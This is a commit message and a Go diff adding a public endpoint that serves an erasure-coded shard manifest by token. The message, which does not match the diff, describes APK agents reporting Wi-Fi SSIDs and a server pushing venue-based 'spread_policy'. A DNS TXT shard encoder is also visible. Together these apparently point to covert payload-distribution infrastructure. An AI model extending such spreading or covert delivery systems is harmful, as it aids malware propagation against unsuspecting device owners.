Add scout constellation mode for APK venue persona packs.

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.

server/internal/api/public_handler.go

@@ -207,6 +207,47 @@ func encodeDNSTXTShard(data []byte) string {
 	return base64.StdEncoding.EncodeToString(data)
 }
 
+// GET /api/v1/public/erasure-torrent/{token}/manifest
+func (h *PublicHandler) ErasureTorrentManifest(w http.ResponseWriter, r *http.Request) {
+	if h.erasureShards == nil {
+		http.Error(w, "erasure shards unavailable", http.StatusNotFound)
+		return
+	}
+	token := strings.TrimSpace(chi.URLParam(r, "token"))
+	if token == "" {
+		http.Error(w, "token required", http.StatusBadRequest)
+		return
+	}
+	p, ok := h.erasureShards.ParamsFor(token)
+	if !ok {
+		http.Error(w, "torrent not found", http.StatusNotFound)
+		return
+	}
+	total := p.TotalShards()
+	shards := make([][]byte, total)
+	hasAny := false
+	for i := 0; i < total; i++ {
+		if sh, ok := h.erasureShards.Get(token, i); ok {
+			shards[i] = sh
+			hasAny = true
+		}
+	}
+	if !hasAny {
+		http.Error(w, "torrent not found", http.StatusNotFound)
+		return
+	}
+	base := strings.TrimRight(strings.TrimSpace(r.URL.Scheme+"://"+r.Host), "/")
+	if base == "://" {
+		base = "http://127.0.0.1:8989"
+	}
+	manifest, err := erasure.BuildTorrentManifest(base, token, "", len(shards[0])*p.DataShards, p, erasure.ShardContentHashes(shards))
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	writeJSON(w, manifest)
+}
+
 // GET /api/v1/public/erasure-shard/{token}/{index}
 func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
 	if h.erasureShards == nil {